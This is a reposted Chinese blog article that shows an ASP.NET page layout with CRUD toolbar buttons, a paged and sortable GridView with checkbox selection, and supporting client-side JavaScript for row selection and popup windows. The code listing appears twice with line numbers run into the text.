本文展示了一个ASP.NET网页的基本布局及多种按钮交互功能，包括查看、查询、添加、修改、删除等操作，并实现了表格数据的分页显示及选择功能。
<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>
运行效果图：
PM_Base.aspx
1<%
@ Page Language="C#" AutoEventWireup="true" CodeFile="PM_Base.aspx.cs" Inherits="PM_Base"
2
EnableEventValidation="false" %>
3
4<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
5<html xmlns="http://www.w3.org/1999/xhtml">
6<head runat="server">
7 <title>基本信息</title>
8</head>
9<body>
10 <form id="form1" runat="server">
11 <!--导航事件按钮-->
12 <table cellpadding="0" cellspacing="0" width="100%">
13 <tr>
14 <td align="right" style="height: 25px;" nowrap="nowrap">
15 <input type="hidden" id="HiddenID" name="HiddenID" runat="server" />
16 <input id="btnView" runat="server" type="button" value="查看" style="width: 50px; height: 20px;"
17 class="ClassBtn" onclick="return View();" />
18 <asp:Button ID="btnSearch" runat="server" Text="查询" Enabled="false" Width="50px"
19 Height="20px" OnClick="btnSearch_Click" />
20 <input id="btnAdd" runat="server" type="button" value="添加" style="width: 50px; height: 20px;"
21 class="ClassBtn" onclick="return Add();" />
22 <input id="btnEdit" runat="server" type="button" value="修改" style="width: 50px; height: 20px;"
23 class="ClassBtn" onclick="return Edit();" />
24 <asp:Button ID="btnDelete" runat="server" Text="删除" Width="50px" Height="20px" OnClick="btnDelete_Click"
25 OnClientClick="javascript:return ( checkSelect() && confirm('警告：删除将无法恢复！/n确认删除吗？') );" />
26 <asp:Button ID="btnPrint" runat="server" Text="打印" Width="50px" Height="20px" OnClick="btnToExcel_Click" />
27 <asp:Button ID="btnOut" runat="server" Text="导出" Width="50px" Height="20px" OnClick="btnToExcel_Click" />
28 </td>
29 </tr>
30 </table>
31 <asp:GridView ID="GridView1" SkinID="gvClass2" runat="server" Width="100%" DataKeyNames="ID"
32 AutoGenerateColumns="False" OnRowDataBound="GridView1_RowDataBound" OnDataBound="GridView1_DataBound"
33 AllowSorting="True" OnSorting="GridView1_Sorting" AllowPaging="True" PageSize="10"
34 OnPageIndexChanging="GridView1_PageIndexChanging">
35 <PagerTemplate>
36 <table width="100%">
37 <tr>
38 <td width="50%" align="left">
39 <asp:Label ID="MessageLabel" ForeColor="Blue" Text="页码:" runat="server" />
40 <asp:DropDownList ID="PageDropDownList" AutoPostBack="true" OnSelectedIndexChanged="PageDropDownList_SelectedIndexChanged"
41 runat="server" />
42 <asp:LinkButton CommandName="Page" CommandArgument="First" ID="linkBtnFirst" runat="server">首页</asp:LinkButton>
43 <asp:LinkButton CommandName="Page" CommandArgument="Prev" ID="linkBtnPrev" runat="server">上一页</asp:LinkButton>
44 <asp:LinkButton CommandName="Page" CommandArgument="Next" ID="linkBtnNext" runat="server">下一页</asp:LinkButton>
45 <asp:LinkButton CommandName="Page" CommandArgument="Last" ID="linkBtnLast" runat="server">尾页</asp:LinkButton>
46 </td>
47 <td width="50%" align="right">
48 <asp:Label ID="CurrentPageLabel" ForeColor="Blue" runat="server" />
49 </td>
50 </tr>
51 </table>
52 </PagerTemplate>
53 <Columns>
54 <asp:TemplateField>
55 <ItemTemplate>
56 <input id="check" runat="server" type="checkbox" value='<%# Eval("ID") %>' />
57 </ItemTemplate>
58 <HeaderTemplate>
59 <input id="checkAll" title="全选" onclick="javascript:CheckAll(this);" runat="server"
60 type="checkbox" />
61 </HeaderTemplate>
62 <ItemStyle Width="5%" />
63 </asp:TemplateField>
64 <asp:BoundField DataField="Name" HeaderText="名称" SortExpression="Name">
65 <ItemStyle Width="30%" HorizontalAlign="Left" />
66 </asp:BoundField>
67 <asp:BoundField DataField="Description" HeaderText="描述" SortExpression="Description">
68 <ItemStyle HorizontalAlign="Left" />
69 </asp:BoundField>
70 </Columns>
71 </asp:GridView>
72 <asp:Label ID="Message" runat="server" ForeColor="Red"></asp:Label>
73 </form>
74</body>
75</html>
76
77<script language="javascript">
78
function $(s){return document.getElementById(s);}
79function isNull(_sVal){return (_sVal == "" || _sVal == null || _sVal == "#ff0000");}
80
//获取地址栏参数
81function GetURL(name)
82{
83 var URLParams = new Array();
84 var aParams = document.location.search.substr(1).split('&');
85 for (i=0; i < aParams.length; i++)
86 {
87 var aParam = aParams[i].split('=');
88 URLParams[aParam[0]] = aParam[1];
89
}
90 //取得传过来的name参数
91 return URLParams[name];
92}
93
94var tgs;
95var tmp_background_val;
96function tog(n,flags)
97{
98 if (tgs){
99 tgs.style.background= tmp_background_val ;
100 }
101 n.style.background= '#99ccff' ;
102 tmp_background_val=flags;
103 tgs=n;
104}
105
106function GetRowIndex(obj)
107{
108 $('<%=HiddenID.ClientID %>').value = obj;
109}
110
111var HiddenID;
112function checkSelect()
113{
114 HiddenID=$('<%=HiddenID.ClientID %>').value;
115 if(isNull(HiddenID))
116 {
117 alert("请选择一条记录!");
118 }
119 return !isNull(HiddenID);
120}
121
122function CheckAll(spanChk)//CheckBox全选
123{
124 var oItem = spanChk.children;
125 var theBox=(spanChk.type=="checkbox")?spanChk:spanChk.children.item[0];
126 xState=theBox.checked;
127 elm=theBox.form.elements;
128 for(i=0;i<elm.length;i++)
129 if(elm[i].type=="checkbox" && elm[i].id!=theBox.id)
130 {
131 if(elm[i].checked!=xState)
132 elm[i].click();
133 }
134}
135//---------------------------------------------------------
136//查看
137function View()
138{
139 if(checkSelect())
140 {
141 var url="PM_BaseEdit.aspx?ID=" + HiddenID + "&tableName=" + GetURL("tableName");
142 winOpen(url);
143 }
144}
145//添加
146function Add()
147{
148 var url="PM_BaseAdd.aspx?tableName=" + GetURL("tableName");
149 winOpen(url);
150}
151//编辑
152function Edit()
153{
154 if(checkSelect())
155 {
156 var url="PM_BaseEdit.aspx?ID=" + HiddenID + "&tableName=" + GetURL("tableName");
157 winOpen(url);
158 }
159}
160
161//弹出打开新页面-------------------------------------------
162function winOpen(url)
163{
164 var sFeatures='height=400, width=650, top=100, left=200,toolbar=0, menubar=0, scrollbars=auto, resizable=1, location=0, status=0';
165 window.open(url,"PM_Base",sFeatures);
166}
167
168function showDialog(url)
169{
170 var sFeatures = "dialogHeight:400px;dialogWidth:500px;resizeable:no;help:no;status:no";
171 var obj=showModalDialog(url,window,sFeatures);
172}
173</script>
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
PM_Base.aspx
1
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="PM_Base.aspx.cs" Inherits="PM_Base"2
EnableEventValidation="false" %>3
4
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">5
<html xmlns="http://www.w3.org/1999/xhtml">6
<head runat="server">7
<title>基本信息</title>8
</head>9
<body>10
<form id="form1" runat="server">11
<!--导航事件按钮-->12
<table cellpadding="0" cellspacing="0" width="100%">13
<tr>14
<td align="right" style="height: 25px;" nowrap="nowrap">15
<input type="hidden" id="HiddenID" name="HiddenID" runat="server" />16
<input id="btnView" runat="server" type="button" value="查看" style="width: 50px; height: 20px;"17
class="ClassBtn" onclick="return View();" />18
<asp:Button ID="btnSearch" runat="server" Text="查询" Enabled="false" Width="50px"19
Height="20px" OnClick="btnSearch_Click" />20
<input id="btnAdd" runat="server" type="button" value="添加" style="width: 50px; height: 20px;"21
class="ClassBtn" onclick="return Add();" />22
<input id="btnEdit" runat="server" type="button" value="修改" style="width: 50px; height: 20px;"23
class="ClassBtn" onclick="return Edit();" />24
<asp:Button ID="btnDelete" runat="server" Text="删除" Width="50px" Height="20px" OnClick="btnDelete_Click"25
OnClientClick="javascript:return ( checkSelect() && confirm('警告：删除将无法恢复！/n确认删除吗？') );" />26
<asp:Button ID="btnPrint" runat="server" Text="打印" Width="50px" Height="20px" OnClick="btnToExcel_Click" />27
<asp:Button ID="btnOut" runat="server" Text="导出" Width="50px" Height="20px" OnClick="btnToExcel_Click" />28
</td>29
</tr>30
</table>31
<asp:GridView ID="GridView1" SkinID="gvClass2" runat="server" Width="100%" DataKeyNames="ID"32
AutoGenerateColumns="False" OnRowDataBound="GridView1_RowDataBound" OnDataBound="GridView1_DataBound"33
AllowSorting="True" OnSorting="GridView1_Sorting" AllowPaging="True" PageSize="10"34
OnPageIndexChanging="GridView1_PageIndexChanging">35
<PagerTemplate>36
<table width="100%">37
<tr>38
<td width="50%" align="left">39
<asp:Label ID="MessageLabel" ForeColor="Blue" Text="页码:" runat="server" />40
<asp:DropDownList ID="PageDropDownList" AutoPostBack="true" OnSelectedIndexChanged="PageDropDownList_SelectedIndexChanged"41
runat="server" />42
<asp:LinkButton CommandName="Page" CommandArgument="First" ID="linkBtnFirst" runat="server">首页</asp:LinkButton>43
<asp:LinkButton CommandName="Page" CommandArgument="Prev" ID="linkBtnPrev" runat="server">上一页</asp:LinkButton>44
<asp:LinkButton CommandName="Page" CommandArgument="Next" ID="linkBtnNext" runat="server">下一页</asp:LinkButton>45
<asp:LinkButton CommandName="Page" CommandArgument="Last" ID="linkBtnLast" runat="server">尾页</asp:LinkButton>46
</td>47
<td width="50%" align="right">48
<asp:Label ID="CurrentPageLabel" ForeColor="Blue" runat="server" />49
</td>50
</tr>51
</table>52
</PagerTemplate>53
<Columns>54
<asp:TemplateField>55
<ItemTemplate>56
<input id="check" runat="server" type="checkbox" value='<%# Eval("ID") %>' />57
</ItemTemplate>58
<HeaderTemplate>59
<input id="checkAll" title="全选" onclick="javascript:CheckAll(this);" runat="server"60
type="checkbox" />61
</HeaderTemplate>62
<ItemStyle Width="5%" />63
</asp:TemplateField>64
<asp:BoundField DataField="Name" HeaderText="名称" SortExpression="Name">65
<ItemStyle Width="30%" HorizontalAlign="Left" />66
</asp:BoundField>67
<asp:BoundField DataField="Description" HeaderText="描述" SortExpression="Description">68
<ItemStyle HorizontalAlign="Left" />69
</asp:BoundField>70
</Columns>71
</asp:GridView>72
<asp:Label ID="Message" runat="server" ForeColor="Red"></asp:Label>73
</form>74
</body>75
</html>76
77
<script language="javascript">78
function $(s){return document.getElementById(s);}79
function isNull(_sVal){return (_sVal == "" || _sVal == null || _sVal == "#ff0000");}80
//获取地址栏参数81
function GetURL(name)82
{83
var URLParams = new Array();84
var aParams = document.location.search.substr(1).split('&');85
for (i=0; i < aParams.length; i++)86
{87
var aParam = aParams[i].split('=');88
URLParams[aParam[0]] = aParam[1];89
}90
//取得传过来的name参数91
return URLParams[name];92
}93
94
var tgs;95
var tmp_background_val; 96
function tog(n,flags)97
{ 98
if (tgs){99
tgs.style.background= tmp_background_val ; 100
} 101
n.style.background= '#99ccff' ;102
tmp_background_val=flags;103
tgs=n;104
}105
106
function GetRowIndex(obj)107
{108
$('<%=HiddenID.ClientID %>').value = obj;109
}110
111
var HiddenID;112
function checkSelect()113
{114
HiddenID=$('<%=HiddenID.ClientID %>').value;115
if(isNull(HiddenID))116
{117
alert("请选择一条记录!");118
}119
return !isNull(HiddenID);120
}121
122
function CheckAll(spanChk)//CheckBox全选123
{124
var oItem = spanChk.children;125
var theBox=(spanChk.type=="checkbox")?spanChk:spanChk.children.item[0];126
xState=theBox.checked;127
elm=theBox.form.elements;128
for(i=0;i<elm.length;i++)129
if(elm[i].type=="checkbox" && elm[i].id!=theBox.id)130
{131
if(elm[i].checked!=xState)132
elm[i].click();133
}134
}135
//---------------------------------------------------------136
//查看137
function View()138
{139
if(checkSelect())140
{141
var url="PM_BaseEdit.aspx?ID=" + HiddenID + "&tableName=" + GetURL("tableName");142
winOpen(url);143
}144
}145
//添加146
function Add()147
{148
var url="PM_BaseAdd.aspx?tableName=" + GetURL("tableName");149
winOpen(url);150
}151
//编辑152
function Edit()153
{154
if(checkSelect())155
{156
var url="PM_BaseEdit.aspx?ID=" + HiddenID + "&tableName=" + GetURL("tableName");157
winOpen(url);158
}159
}160
161
//弹出打开新页面-------------------------------------------162
function winOpen(url)163
{164
var sFeatures='height=400, width=650, top=100, left=200,toolbar=0, menubar=0, scrollbars=auto, resizable=1, location=0, status=0';165
window.open(url,"PM_Base",sFeatures);166
}167
168
function showDialog(url)169
{170
var sFeatures = "dialogHeight:400px;dialogWidth:500px;resizeable:no;help:no;status:no";171
var obj=showModalDialog(url,window,sFeatures); 172
}173
</script>
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
